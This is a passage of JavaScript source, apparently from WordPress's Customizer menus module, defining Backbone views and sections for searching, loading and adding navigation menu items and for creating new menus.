							select.append( new Option( params.post_title, response.post_id ) );
						}
					} );
				}
				deferred.resolve( response );
			}
		} );

		request.fail( function( response ) {
			var error = response || '';

			if ( 'undefined' !== typeof response.message ) {
				error = response.message;
			}

			console.error( error );
			deferred.rejectWith( error );
		} );

		return deferred.promise();
	};

	api.Menus.AvailableMenuItemsPanelView = wp.Backbone.View.extend(/** @lends wp.customize.Menus.AvailableMenuItemsPanelView.prototype */{

		el: '#available-menu-items',

		events: {
			'input #menu-items-search': 'debounceSearch',
			'focus .menu-item-tpl': 'focus',
			'click .menu-item-tpl': '_submit',
			'click #custom-menu-item-submit': '_submitLink',
			'keypress #custom-menu-item-name': '_submitLink',
			'click .new-content-item .add-content': '_submitNew',
			'keypress .create-item-input': '_submitNew',
			'keydown': 'keyboardAccessible'
		},

		// Cache current selected menu item.
		selected: null,

		// Cache menu control that opened the panel.
		currentMenuControl: null,
		debounceSearch: null,
		$search: null,
		$clearResults: null,
		searchTerm: '',
		rendered: false,
		pages: {},
		sectionContent: '',
		loading: false,
		addingNew: false,

		/**
		 * wp.customize.Menus.AvailableMenuItemsPanelView
		 *
		 * View class for the available menu items panel.
		 *
		 * @constructs wp.customize.Menus.AvailableMenuItemsPanelView
		 * @augments   wp.Backbone.View
		 */
		initialize: function() {
			var self = this;

			if ( ! api.panel.has( 'nav_menus' ) ) {
				return;
			}

			this.$search = $( '#menu-items-search' );
			this.$clearResults = this.$el.find( '.clear-results' );
			this.sectionContent = this.$el.find( '.available-menu-items-list' );

			this.debounceSearch = _.debounce( self.search, 500 );

			_.bindAll( this, 'close' );

			/*
			 * If the available menu items panel is open and the customize controls
			 * are interacted with (other than an item being deleted), then close
			 * the available menu items panel. Also close on back button click.
			 */
			$( '#customize-controls, .customize-section-back' ).on( 'click keydown', function( e ) {
				var isDeleteBtn = $( e.target ).is( '.item-delete, .item-delete *' ),
					isAddNewBtn = $( e.target ).is( '.add-new-menu-item, .add-new-menu-item *' );
				if ( $( 'body' ).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) {
					self.close();
				}
			} );

			// Clear the search results and trigger an `input` event to fire a new search.
			this.$clearResults.on( 'click', function() {
				self.$search.val( '' ).trigger( 'focus' ).trigger( 'input' );
			} );

			this.$el.on( 'input', '#custom-menu-item-name.invalid, #custom-menu-item-url.invalid', function() {
				$( this ).removeClass( 'invalid' );
			});

			// Load available items if it looks like we'll need them.
			api.panel( 'nav_menus' ).container.on( 'expanded', function() {
				if ( ! self.rendered ) {
					self.initList();
					self.rendered = true;
				}
			});

			// Load more items.
			this.sectionContent.on( 'scroll', function() {
				var totalHeight = self.$el.find( '.accordion-section.open .available-menu-items-list' ).prop( 'scrollHeight' ),
					visibleHeight = self.$el.find( '.accordion-section.open' ).height();

				if ( ! self.loading && $( this ).scrollTop() > 3 / 4 * totalHeight - visibleHeight ) {
					var type = $( this ).data( 'type' ),
						object = $( this ).data( 'object' );

					if ( 'search' === type ) {
						if ( self.searchTerm ) {
							self.doSearch( self.pages.search );
						}
					} else {
						self.loadItems( [
							{ type: type, object: object }
						] );
					}
				}
			});

			// Close the panel if the URL in the preview changes.
			api.previewer.bind( 'url', this.close );

			self.delegateEvents();
		},

		// Search input change handler.
		search: function( event ) {
			var $searchSection = $( '#available-menu-items-search' ),
				$otherSections = $( '#available-menu-items .accordion-section' ).not( $searchSection );

			if ( ! event ) {
				return;
			}

			if ( this.searchTerm === event.target.value ) {
				return;
			}

			if ( '' !== event.target.value && ! $searchSection.hasClass( 'open' ) ) {
				$otherSections.fadeOut( 100 );
				$searchSection.find( '.accordion-section-content' ).slideDown( 'fast' );
				$searchSection.addClass( 'open' );
				this.$clearResults.addClass( 'is-visible' );
			} else if ( '' === event.target.value ) {
				$searchSection.removeClass( 'open' );
				$otherSections.show();
				this.$clearResults.removeClass( 'is-visible' );
			}

			this.searchTerm = event.target.value;
			this.pages.search = 1;
			this.doSearch( 1 );
		},

		// Get search results.
		doSearch: function( page ) {
			var self = this, params,
				$section = $( '#available-menu-items-search' ),
				$content = $section.find( '.accordion-section-content' ),
				itemTemplate = wp.template( 'available-menu-item' );

			if ( self.currentRequest ) {
				self.currentRequest.abort();
			}

			if ( page < 0 ) {
				return;
			} else if ( page > 1 ) {
				$section.addClass( 'loading-more' );
				$content.attr( 'aria-busy', 'true' );
				wp.a11y.speak( api.Menus.data.l10n.itemsLoadingMore );
			} else if ( '' === self.searchTerm ) {
				$content.html( '' );
				wp.a11y.speak( '' );
				return;
			}

			$section.addClass( 'loading' );
			self.loading = true;

			params = api.previewer.query( { excludeCustomizedSaved: true } );
			_.extend( params, {
				'customize-menus-nonce': api.settings.nonce['customize-menus'],
				'wp_customize': 'on',
				'search': self.searchTerm,
				'page': page
			} );

			self.currentRequest = wp.ajax.post( 'search-available-menu-items-customizer', params );

			self.currentRequest.done(function( data ) {
				var items;
				if ( 1 === page ) {
					// Clear previous results as it's a new search.
					$content.empty();
				}
				$section.removeClass( 'loading loading-more' );
				$content.attr( 'aria-busy', 'false' );
				$section.addClass( 'open' );
				self.loading = false;
				items = new api.Menus.AvailableItemCollection( data.items );
				self.collection.add( items.models );
				items.each( function( menuItem ) {
					$content.append( itemTemplate( menuItem.attributes ) );
				} );
				if ( 20 > items.length ) {
					self.pages.search = -1; // Up to 20 posts and 20 terms in results, if <20, no more results for either.
				} else {
					self.pages.search = self.pages.search + 1;
				}
				if ( items && page > 1 ) {
					wp.a11y.speak( api.Menus.data.l10n.itemsFoundMore.replace( '%d', items.length ) );
				} else if ( items && page === 1 ) {
					wp.a11y.speak( api.Menus.data.l10n.itemsFound.replace( '%d', items.length ) );
				}
			});

			self.currentRequest.fail(function( data ) {
				// data.message may be undefined, for example when typing slow and the request is aborted.
				if ( data.message ) {
					$content.empty().append( $( '<li class="nothing-found"></li>' ).text( data.message ) );
					wp.a11y.speak( data.message );
				}
				self.pages.search = -1;
			});

			self.currentRequest.always(function() {
				$section.removeClass( 'loading loading-more' );
				$content.attr( 'aria-busy', 'false' );
				self.loading = false;
				self.currentRequest = null;
			});
		},

		// Render the individual items.
		initList: function() {
			var self = this;

			// Render the template for each item by type.
			_.each( api.Menus.data.itemTypes, function( itemType ) {
				self.pages[ itemType.type + ':' + itemType.object ] = 0;
			} );
			self.loadItems( api.Menus.data.itemTypes );
		},

		/**
		 * Load available nav menu items.
		 *
		 * @since 4.3.0
		 * @since 4.7.0 Changed function signature to take list of item types instead of single type/object.
		 * @access private
		 *
		 * @param {Array.<Object>} itemTypes List of objects containing type and key.
		 * @param {string} deprecated Formerly the object parameter.
		 * @return {void}
		 */
		loadItems: function( itemTypes, deprecated ) {
			var self = this, _itemTypes, requestItemTypes = [], params, request, itemTemplate, availableMenuItemContainers = {};
			itemTemplate = wp.template( 'available-menu-item' );

			if ( _.isString( itemTypes ) && _.isString( deprecated ) ) {
				_itemTypes = [ { type: itemTypes, object: deprecated } ];
			} else {
				_itemTypes = itemTypes;
			}

			_.each( _itemTypes, function( itemType ) {
				var container, name = itemType.type + ':' + itemType.object;
				if ( -1 === self.pages[ name ] ) {
					return; // Skip types for which there are no more results.
				}
				container = $( '#available-menu-items-' + itemType.type + '-' + itemType.object );
				container.find( '.accordion-section-title' ).addClass( 'loading' );
				availableMenuItemContainers[ name ] = container;

				requestItemTypes.push( {
					object: itemType.object,
					type: itemType.type,
					page: self.pages[ name ]
				} );
			} );

			if ( 0 === requestItemTypes.length ) {
				return;
			}

			self.loading = true;

			params = api.previewer.query( { excludeCustomizedSaved: true } );
			_.extend( params, {
				'customize-menus-nonce': api.settings.nonce['customize-menus'],
				'wp_customize': 'on',
				'item_types': requestItemTypes
			} );

			request = wp.ajax.post( 'load-available-menu-items-customizer', params );

			request.done(function( data ) {
				var typeInner;
				_.each( data.items, function( typeItems, name ) {
					if ( 0 === typeItems.length ) {
						if ( 0 === self.pages[ name ] ) {
							availableMenuItemContainers[ name ].find( '.accordion-section-title' )
								.addClass( 'cannot-expand' )
								.removeClass( 'loading' )
								.find( '.accordion-section-title > button' )
								.prop( 'tabIndex', -1 );
						}
						self.pages[ name ] = -1;
						return;
					} else if ( ( 'post_type:page' === name ) && ( ! availableMenuItemContainers[ name ].hasClass( 'open' ) ) ) {
						availableMenuItemContainers[ name ].find( '.accordion-section-title > button' ).trigger( 'click' );
					}
					typeItems = new api.Menus.AvailableItemCollection( typeItems ); // @todo Why is this collection created and then thrown away?
					self.collection.add( typeItems.models );
					typeInner = availableMenuItemContainers[ name ].find( '.available-menu-items-list' );
					typeItems.each( function( menuItem ) {
						typeInner.append( itemTemplate( menuItem.attributes ) );
					} );
					self.pages[ name ] += 1;
				});
			});
			request.fail(function( data ) {
				if ( typeof console !== 'undefined' && console.error ) {
					console.error( data );
				}
			});
			request.always(function() {
				_.each( availableMenuItemContainers, function( container ) {
					container.find( '.accordion-section-title' ).removeClass( 'loading' );
				} );
				self.loading = false;
			});
		},

		// Adjust the height of each section of items to fit the screen.
		itemSectionHeight: function() {
			var sections, lists, totalHeight, accordionHeight, diff;
			totalHeight = window.innerHeight;
			sections = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .accordion-section-content' );
			lists = this.$el.find( '.accordion-section:not( #available-menu-items-search ) .available-menu-items-list:not(":only-child")' );
			accordionHeight =  46 * ( 1 + sections.length ) + 14; // Magic numbers.
			diff = totalHeight - accordionHeight;
			if ( 120 < diff && 290 > diff ) {
				sections.css( 'max-height', diff );
				lists.css( 'max-height', ( diff - 60 ) );
			}
		},

		// Highlights a menu item.
		select: function( menuitemTpl ) {
			this.selected = $( menuitemTpl );
			this.selected.siblings( '.menu-item-tpl' ).removeClass( 'selected' );
			this.selected.addClass( 'selected' );
		},

		// Highlights a menu item on focus.
		focus: function( event ) {
			this.select( $( event.currentTarget ) );
		},

		// Submit handler for keypress and click on menu item.
		_submit: function( event ) {
			// Only proceed with keypress if it is Enter or Spacebar.
			if ( 'keypress' === event.type && ( 13 !== event.which && 32 !== event.which ) ) {
				return;
			}

			this.submit( $( event.currentTarget ) );
		},

		// Adds a selected menu item to the menu.
		submit: function( menuitemTpl ) {
			var menuitemId, menu_item;

			if ( ! menuitemTpl ) {
				menuitemTpl = this.selected;
			}

			if ( ! menuitemTpl || ! this.currentMenuControl ) {
				return;
			}

			this.select( menuitemTpl );

			menuitemId = $( this.selected ).data( 'menu-item-id' );
			menu_item = this.collection.findWhere( { id: menuitemId } );
			if ( ! menu_item ) {
				return;
			}

			this.currentMenuControl.addItemToMenu( menu_item.attributes );

			$( menuitemTpl ).find( '.menu-item-handle' ).addClass( 'item-added' );
		},

		// Submit handler for keypress and click on custom menu item.
		_submitLink: function( event ) {
			// Only proceed with keypress if it is Enter.
			if ( 'keypress' === event.type && 13 !== event.which ) {
				return;
			}

			this.submitLink();
		},

		// Adds the custom menu item to the menu.
		submitLink: function() {
			var menuItem,
				itemName = $( '#custom-menu-item-name' ),
				itemUrl = $( '#custom-menu-item-url' ),
				url = itemUrl.val().trim(),
				urlRegex;

			if ( ! this.currentMenuControl ) {
				return;
			}

			/*
			 * Allow URLs including:
			 * - http://example.com/
			 * - //example.com
			 * - /directory/
			 * - ?query-param
			 * - #target
			 * - mailto:foo@example.com
			 *
			 * Any further validation will be handled on the server when the setting is attempted to be saved,
			 * so this pattern does not need to be complete.
			 */
			urlRegex = /^((\w+:)?\/\/\w.*|\w+:(?!\/\/$)|\/|\?|#)/;

			if ( '' === itemName.val() ) {
				itemName.addClass( 'invalid' );
				return;
			} else if ( ! urlRegex.test( url ) ) {
				itemUrl.addClass( 'invalid' );
				return;
			}

			menuItem = {
				'title': itemName.val(),
				'url': url,
				'type': 'custom',
				'type_label': api.Menus.data.l10n.custom_label,
				'object': 'custom'
			};

			this.currentMenuControl.addItemToMenu( menuItem );

			// Reset the custom link form.
			itemUrl.val( '' ).attr( 'placeholder', 'https://' );
			itemName.val( '' );
		},

		/**
		 * Submit handler for keypress (enter) on field and click on button.
		 *
		 * @since 4.7.0
		 * @private
		 *
		 * @param {jQuery.Event} event Event.
		 * @return {void}
		 */
		_submitNew: function( event ) {
			var container;

			// Only proceed with keypress if it is Enter.
			if ( 'keypress' === event.type && 13 !== event.which ) {
				return;
			}

			if ( this.addingNew ) {
				return;
			}

			container = $( event.target ).closest( '.accordion-section' );

			this.submitNew( container );
		},

		/**
		 * Creates a new object and adds an associated menu item to the menu.
		 *
		 * @since 4.7.0
		 * @private
		 *
		 * @param {jQuery} container
		 * @return {void}
		 */
		submitNew: function( container ) {
			var panel = this,
				itemName = container.find( '.create-item-input' ),
				title = itemName.val(),
				dataContainer = container.find( '.available-menu-items-list' ),
				itemType = dataContainer.data( 'type' ),
				itemObject = dataContainer.data( 'object' ),
				itemTypeLabel = dataContainer.data( 'type_label' ),
				promise;

			if ( ! this.currentMenuControl ) {
				return;
			}

			// Only posts are supported currently.
			if ( 'post_type' !== itemType ) {
				return;
			}

			if ( '' === itemName.val().trim() ) {
				itemName.addClass( 'invalid' );
				itemName.focus();
				return;
			} else {
				itemName.removeClass( 'invalid' );
				container.find( '.accordion-section-title' ).addClass( 'loading' );
			}

			panel.addingNew = true;
			itemName.attr( 'disabled', 'disabled' );
			promise = api.Menus.insertAutoDraftPost( {
				post_title: title,
				post_type: itemObject
			} );
			promise.done( function( data ) {
				var availableItem, $content, itemElement;
				availableItem = new api.Menus.AvailableItemModel( {
					'id': 'post-' + data.post_id, // Used for available menu item Backbone models.
					'title': itemName.val(),
					'type': itemType,
					'type_label': itemTypeLabel,
					'object': itemObject,
					'object_id': data.post_id,
					'url': data.url
				} );

				// Add new item to menu.
				panel.currentMenuControl.addItemToMenu( availableItem.attributes );

				// Add the new item to the list of available items.
				api.Menus.availableMenuItemsPanel.collection.add( availableItem );
				$content = container.find( '.available-menu-items-list' );
				itemElement = $( wp.template( 'available-menu-item' )( availableItem.attributes ) );
				itemElement.find( '.menu-item-handle:first' ).addClass( 'item-added' );
				$content.prepend( itemElement );
				$content.scrollTop();

				// Reset the create content form.
				itemName.val( '' ).removeAttr( 'disabled' );
				panel.addingNew = false;
				container.find( '.accordion-section-title' ).removeClass( 'loading' );
			} );
		},

		// Opens the panel.
		open: function( menuControl ) {
			var panel = this, close;

			this.currentMenuControl = menuControl;

			this.itemSectionHeight();

			if ( api.section.has( 'publish_settings' ) ) {
				api.section( 'publish_settings' ).collapse();
			}

			$( 'body' ).addClass( 'adding-menu-items' );

			close = function() {
				panel.close();
				$( this ).off( 'click', close );
			};
			$( '#customize-preview' ).on( 'click', close );

			// Collapse all controls.
			_( this.currentMenuControl.getMenuItemControls() ).each( function( control ) {
				control.collapseForm();
			} );

			this.$el.find( '.selected' ).removeClass( 'selected' );

			this.$search.trigger( 'focus' );
		},

		// Closes the panel.
		close: function( options ) {
			options = options || {};

			if ( options.returnFocus && this.currentMenuControl ) {
				this.currentMenuControl.container.find( '.add-new-menu-item' ).focus();
			}

			this.currentMenuControl = null;
			this.selected = null;

			$( 'body' ).removeClass( 'adding-menu-items' );
			$( '#available-menu-items .menu-item-handle.item-added' ).removeClass( 'item-added' );

			this.$search.val( '' ).trigger( 'input' );
		},

		// Add a few keyboard enhancements to the panel.
		keyboardAccessible: function( event ) {
			var isEnter = ( 13 === event.which ),
				isEsc = ( 27 === event.which ),
				isBackTab = ( 9 === event.which && event.shiftKey ),
				isSearchFocused = $( event.target ).is( this.$search );

			// If enter pressed but nothing entered, don't do anything.
			if ( isEnter && ! this.$search.val() ) {
				return;
			}

			if ( isSearchFocused && isBackTab ) {
				this.currentMenuControl.container.find( '.add-new-menu-item' ).focus();
				event.preventDefault(); // Avoid additional back-tab.
			} else if ( isEsc ) {
				this.close( { returnFocus: true } );
			}
		}
	});

	/**
	 * wp.customize.Menus.MenusPanel
	 *
	 * Customizer panel for menus. This is used only for screen options management.
	 * Note that 'menus' must match the WP_Customize_Menu_Panel::$type.
	 *
	 * @class    wp.customize.Menus.MenusPanel
	 * @augments wp.customize.Panel
	 */
	api.Menus.MenusPanel = api.Panel.extend(/** @lends wp.customize.Menus.MenusPanel.prototype */{

		attachEvents: function() {
			api.Panel.prototype.attachEvents.call( this );

			var panel = this,
				panelMeta = panel.container.find( '.panel-meta' ),
				help = panelMeta.find( '.customize-help-toggle' ),
				content = panelMeta.find( '.customize-panel-description' ),
				options = $( '#screen-options-wrap' ),
				button = panelMeta.find( '.customize-screen-options-toggle' );
			button.on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault();

				// Hide description.
				if ( content.not( ':hidden' ) ) {
					content.slideUp( 'fast' );
					help.attr( 'aria-expanded', 'false' );
				}

				if ( 'true' === button.attr( 'aria-expanded' ) ) {
					button.attr( 'aria-expanded', 'false' );
					panelMeta.removeClass( 'open' );
					panelMeta.removeClass( 'active-menu-screen-options' );
					options.slideUp( 'fast' );
				} else {
					button.attr( 'aria-expanded', 'true' );
					panelMeta.addClass( 'open' );
					panelMeta.addClass( 'active-menu-screen-options' );
					options.slideDown( 'fast' );
				}

				return false;
			} );

			// Help toggle.
			help.on( 'click keydown', function( event ) {
				if ( api.utils.isKeydownButNotEnterEvent( event ) ) {
					return;
				}
				event.preventDefault();

				if ( 'true' === button.attr( 'aria-expanded' ) ) {
					button.attr( 'aria-expanded', 'false' );
					help.attr( 'aria-expanded', 'true' );
					panelMeta.addClass( 'open' );
					panelMeta.removeClass( 'active-menu-screen-options' );
					options.slideUp( 'fast' );
					content.slideDown( 'fast' );
				}
			} );
		},

		/**
		 * Update field visibility when clicking on the field toggles.
		 */
		ready: function() {
			var panel = this;
			panel.container.find( '.hide-column-tog' ).on( 'click', function() {
				panel.saveManageColumnsState();
			});

			// Inject additional heading into the menu locations section's head container.
			api.section( 'menu_locations', function( section ) {
				section.headContainer.prepend(
					wp.template( 'nav-menu-locations-header' )( api.Menus.data )
				);
			} );
		},

		/**
		 * Save hidden column states.
		 *
		 * @since 4.3.0
		 * @private
		 *
		 * @return {void}
		 */
		saveManageColumnsState: _.debounce( function() {
			var panel = this;
			if ( panel._updateHiddenColumnsRequest ) {
				panel._updateHiddenColumnsRequest.abort();
			}

			panel._updateHiddenColumnsRequest = wp.ajax.post( 'hidden-columns', {
				hidden: panel.hidden(),
				screenoptionnonce: $( '#screenoptionnonce' ).val(),
				page: 'nav-menus'
			} );
			panel._updateHiddenColumnsRequest.always( function() {
				panel._updateHiddenColumnsRequest = null;
			} );
		}, 2000 ),

		/**
		 * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers.
		 */
		checked: function() {},

		/**
		 * @deprecated Since 4.7.0 now that the nav_menu sections are responsible for toggling the classes on their own containers.
		 */
		unchecked: function() {},

		/**
		 * Get hidden fields.
		 *
		 * @since 4.3.0
		 * @private
		 *
		 * @return {Array} Fields (columns) that are hidden.
		 */
		hidden: function() {
			return $( '.hide-column-tog' ).not( ':checked' ).map( function() {
				var id = this.id;
				return id.substring( 0, id.length - 5 );
			}).get().join( ',' );
		}
	} );

	/**
	 * wp.customize.Menus.MenuSection
	 *
	 * Customizer section for menus. This is used only for lazy-loading child controls.
	 * Note that 'nav_menu' must match the WP_Customize_Menu_Section::$type.
	 *
	 * @class    wp.customize.Menus.MenuSection
	 * @augments wp.customize.Section
	 */
	api.Menus.MenuSection = api.Section.extend(/** @lends wp.customize.Menus.MenuSection.prototype */{

		/**
		 * Initialize.
		 *
		 * @since 4.3.0
		 *
		 * @param {string} id
		 * @param {Object} options
		 */
		initialize: function( id, options ) {
			var section = this;
			api.Section.prototype.initialize.call( section, id, options );
			section.deferred.initSortables = $.Deferred();
		},

		/**
		 * Ready.
		 */
		ready: function() {
			var section = this, fieldActiveToggles, handleFieldActiveToggle;

			if ( 'undefined' === typeof section.params.menu_id ) {
				throw new Error( 'params.menu_id was not defined' );
			}

			/*
			 * Since newly created sections won't be registered in PHP, we need to prevent the
			 * preview's sending of the activeSections to result in this control
			 * being deactivated when the preview refreshes. So we can hook onto
			 * the setting that has the same ID and its presence can dictate
			 * whether the section is active.
			 */
			section.active.validate = function() {
				if ( ! api.has( section.id ) ) {
					return false;
				}
				return !! api( section.id ).get();
			};

			section.populateControls();

			section.navMenuLocationSettings = {};
			section.assignedLocations = new api.Value( [] );

			api.each(function( setting, id ) {
				var matches = id.match( /^nav_menu_locations\[(.+?)]/ );
				if ( matches ) {
					section.navMenuLocationSettings[ matches[1] ] = setting;
					setting.bind( function() {
						section.refreshAssignedLocations();
					});
				}
			});

			section.assignedLocations.bind(function( to ) {
				section.updateAssignedLocationsInSectionTitle( to );
			});

			section.refreshAssignedLocations();

			api.bind( 'pane-contents-reflowed', function() {
				// Skip menus that have been removed.
				if ( ! section.contentContainer.parent().length ) {
					return;
				}
				section.container.find( '.menu-item .menu-item-reorder-nav button' ).attr({ 'tabindex': '0', 'aria-hidden': 'false' });
				section.container.find( '.menu-item.move-up-disabled .menus-move-up' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				section.container.find( '.menu-item.move-down-disabled .menus-move-down' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				section.container.find( '.menu-item.move-left-disabled .menus-move-left' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
				section.container.find( '.menu-item.move-right-disabled .menus-move-right' ).attr({ 'tabindex': '-1', 'aria-hidden': 'true' });
			} );

			/**
			 * Update the active field class for the content container for a given checkbox toggle.
			 *
			 * @this {jQuery}
			 * @return {void}
			 */
			handleFieldActiveToggle = function() {
				var className = 'field-' + $( this ).val() + '-active';
				section.contentContainer.toggleClass( className, $( this ).prop( 'checked' ) );
			};
			fieldActiveToggles = api.panel( 'nav_menus' ).contentContainer.find( '.metabox-prefs:first' ).find( '.hide-column-tog' );
			fieldActiveToggles.each( handleFieldActiveToggle );
			fieldActiveToggles.on( 'click', handleFieldActiveToggle );
		},

		populateControls: function() {
			var section = this,
				menuNameControlId,
				menuLocationsControlId,
				menuAutoAddControlId,
				menuDeleteControlId,
				menuControl,
				menuNameControl,
				menuLocationsControl,
				menuAutoAddControl,
				menuDeleteControl;

			// Add the control for managing the menu name.
			menuNameControlId = section.id + '[name]';
			menuNameControl = api.control( menuNameControlId );
			if ( ! menuNameControl ) {
				menuNameControl = new api.controlConstructor.nav_menu_name( menuNameControlId, {
					type: 'nav_menu_name',
					label: api.Menus.data.l10n.menuNameLabel,
					section: section.id,
					priority: 0,
					settings: {
						'default': section.id
					}
				} );
				api.control.add( menuNameControl );
				menuNameControl.active.set( true );
			}

			// Add the menu control.
			menuControl = api.control( section.id );
			if ( ! menuControl ) {
				menuControl = new api.controlConstructor.nav_menu( section.id, {
					type: 'nav_menu',
					section: section.id,
					priority: 998,
					settings: {
						'default': section.id
					},
					menu_id: section.params.menu_id
				} );
				api.control.add( menuControl );
				menuControl.active.set( true );
			}

			// Add the menu locations control.
			menuLocationsControlId = section.id + '[locations]';
			menuLocationsControl = api.control( menuLocationsControlId );
			if ( ! menuLocationsControl ) {
				menuLocationsControl = new api.controlConstructor.nav_menu_locations( menuLocationsControlId, {
					section: section.id,
					priority: 999,
					settings: {
						'default': section.id
					},
					menu_id: section.params.menu_id
				} );
				api.control.add( menuLocationsControl.id, menuLocationsControl );
				menuControl.active.set( true );
			}

			// Add the control for managing the menu auto_add.
			menuAutoAddControlId = section.id + '[auto_add]';
			menuAutoAddControl = api.control( menuAutoAddControlId );
			if ( ! menuAutoAddControl ) {
				menuAutoAddControl = new api.controlConstructor.nav_menu_auto_add( menuAutoAddControlId, {
					type: 'nav_menu_auto_add',
					label: '',
					section: section.id,
					priority: 1000,
					settings: {
						'default': section.id
					}
				} );
				api.control.add( menuAutoAddControl );
				menuAutoAddControl.active.set( true );
			}

			// Add the control for deleting the menu.
			menuDeleteControlId = section.id + '[delete]';
			menuDeleteControl = api.control( menuDeleteControlId );
			if ( ! menuDeleteControl ) {
				menuDeleteControl = new api.Control( menuDeleteControlId, {
					section: section.id,
					priority: 1001,
					templateId: 'nav-menu-delete-button'
				} );
				api.control.add( menuDeleteControl.id, menuDeleteControl );
				menuDeleteControl.active.set( true );
				menuDeleteControl.deferred.embedded.done( function () {
					menuDeleteControl.container.find( 'button' ).on( 'click', function() {
						var menuId = section.params.menu_id;
						var menuControl = api.Menus.getMenuControl( menuId );
						menuControl.setting.set( false );
					});
				} );
			}
		},

		/**
		 *
		 */
		refreshAssignedLocations: function() {
			var section = this,
				menuTermId = section.params.menu_id,
				currentAssignedLocations = [];
			_.each( section.navMenuLocationSettings, function( setting, themeLocation ) {
				if ( setting() === menuTermId ) {
					currentAssignedLocations.push( themeLocation );
				}
			});
			section.assignedLocations.set( currentAssignedLocations );
		},

		/**
		 * @param {Array} themeLocationSlugs Theme location slugs.
		 */
		updateAssignedLocationsInSectionTitle: function( themeLocationSlugs ) {
			var section = this,
				$title;

			$title = section.container.find( '.accordion-section-title:first' );
			$title.find( '.menu-in-location' ).remove();
			_.each( themeLocationSlugs, function( themeLocationSlug ) {
				var $label, locationName;
				$label = $( '<span class="menu-in-location"></span>' );
				locationName = api.Menus.data.locationSlugMappedToName[ themeLocationSlug ];
				$label.text( api.Menus.data.l10n.menuLocation.replace( '%s', locationName ) );
				$title.append( $label );
			});

			section.container.toggleClass( 'assigned-to-menu-location', 0 !== themeLocationSlugs.length );

		},

		onChangeExpanded: function( expanded, args ) {
			var section = this, completeCallback;

			if ( expanded ) {
				wpNavMenu.menuList = section.contentContainer;
				wpNavMenu.targetList = wpNavMenu.menuList;

				// Add attributes needed by wpNavMenu.
				$( '#menu-to-edit' ).removeAttr( 'id' );
				wpNavMenu.menuList.attr( 'id', 'menu-to-edit' ).addClass( 'menu' );

				_.each( api.section( section.id ).controls(), function( control ) {
					if ( 'nav_menu_item' === control.params.type ) {
						control.actuallyEmbed();
					}
				} );

				// Make sure Sortables is initialized after the section has been expanded to prevent `offset` issues.
				if ( args.completeCallback ) {
					completeCallback = args.completeCallback;
				}
				args.completeCallback = function() {
					if ( 'resolved' !== section.deferred.initSortables.state() ) {
						wpNavMenu.initSortables(); // Depends on menu-to-edit ID being set above.
						section.deferred.initSortables.resolve( wpNavMenu.menuList ); // Now MenuControl can extend the sortable.

						// @todo Note that wp.customize.reflowPaneContents() is debounced,
						// so this immediate change will show a slight flicker while priorities get updated.
						api.control( 'nav_menu[' + String( section.params.menu_id ) + ']' ).reflowMenuItems();
					}
					if ( _.isFunction( completeCallback ) ) {
						completeCallback();
					}
				};
			}
			api.Section.prototype.onChangeExpanded.call( section, expanded, args );
		},

		/**
		 * Highlight how a user may create new menu items.
		 *
		 * This method reminds the user to create new menu items and how.
		 * It's exposed this way because this class knows best which UI needs
		 * highlighted but those expanding this section know more about why and
		 * when the affordance should be highlighted.
		 *
		 * @since 4.9.0
		 *
		 * @return {void}
		 */
		highlightNewItemButton: function() {
			api.utils.highlightButton( this.contentContainer.find( '.add-new-menu-item' ), { delay: 2000 } );
		}
	});

	/**
	 * Create a nav menu setting and section.
	 *
	 * @since 4.9.0
	 *
	 * @param {string} [name=''] Nav menu name.
	 * @return {wp.customize.Menus.MenuSection} Added nav menu.
	 */
	api.Menus.createNavMenu = function createNavMenu( name ) {
		var customizeId, placeholderId, setting;
		placeholderId = api.Menus.generatePlaceholderAutoIncrementId();

		customizeId = 'nav_menu[' + String( placeholderId ) + ']';

		// Register the menu control setting.
		setting = api.create( customizeId, customizeId, {}, {
			type: 'nav_menu',
			transport: api.Menus.data.settingTransport,
			previewer: api.previewer
		} );
		setting.set( $.extend(
			{},
			api.Menus.data.defaultSettingValues.nav_menu,
			{
				name: name || ''
			}
		) );

		/*
		 * Add the menu section (and its controls).
		 * Note that this will automatically create the required controls
		 * inside via the Section's ready method.
		 */
		return api.section.add( new api.Menus.MenuSection( customizeId, {
			panel: 'nav_menus',
			title: displayNavMenuName( name ),
			customizeAction: api.Menus.data.l10n.customizingMenus,
			priority: 10,
			menu_id: placeholderId
		} ) );
	};

	/**
	 * wp.customize.Menus.NewMenuSection
	 *
	 * Customizer section for new menus.
	 *
	 * @class    wp.customize.Menus.NewMenuSection
	 * @augments wp.customize.Section
	 */
	api.Menus.NewMenuSection = api.Section.extend(/** @lends wp.customize.Menus.NewMenuSection.prototype */{

		/**
		 * Add behaviors for the accordion section.
		 *
		 * @since 4.3.0
		 */
		attachEvents: function() {
			var section = this,
				container = section.container,
				contentContainer = section.contentContainer,
				navMenuSettingPattern = /^nav_menu\[/;

			section.headContainer.find( '.accordion-section-title' ).replaceWith(
				wp.template( 'nav-menu-create-menu-section-title' )
			);

			/*
			 * We have to manually handle section expanded because we do not
			 * apply the `accordion-section-title` class to this button-driven section.
			 */
			container.on( 'click', '.customize-add-menu-button', function() {
				section.expand();
			});

			contentContainer.on( 'keydown', '.menu-name-field', function( event ) {
				if ( 13 === event.which ) { // Enter.
					section.submit();
				}
			} );
			contentContainer.on( 'click', '#customize-new-menu-submit', function( event ) {
				section.submit();
				event.stopPropagation();
				event.preventDefault();
			} );

			/**
			 * Get number of non-deleted nav menus.
			 *
			 * @since 4.9.0
			 * @return {number} Count.
			 */
			function getNavMenuCount() {
				var count = 0;
				api.each( function( setting ) {
					if ( navMenuSettingPattern.test( setting.id ) && false !== setting.get() ) {
						count += 1;
					}
				} );
				return count;
			}

			/**
			 * Update visibility of notice to prompt users to create menus.
			 *
			 * @since 4.9.0
			 * @return {void}
			 */
			function updateNoticeVisibility() {
				container.find( '.add-new-menu-notice' ).prop( 'hidden', getNavMenuCount() > 0 );
			}

			/**
			 * Handle setting addition.
			 *
			 * @since 4.9.0
			 * @param {wp.customize.Setting} setting - Added setting.
			 * @return {void}
			 */
			function addChangeEventListener( setting ) {
				if ( navMenuSettingPattern.test( setting.id ) ) {
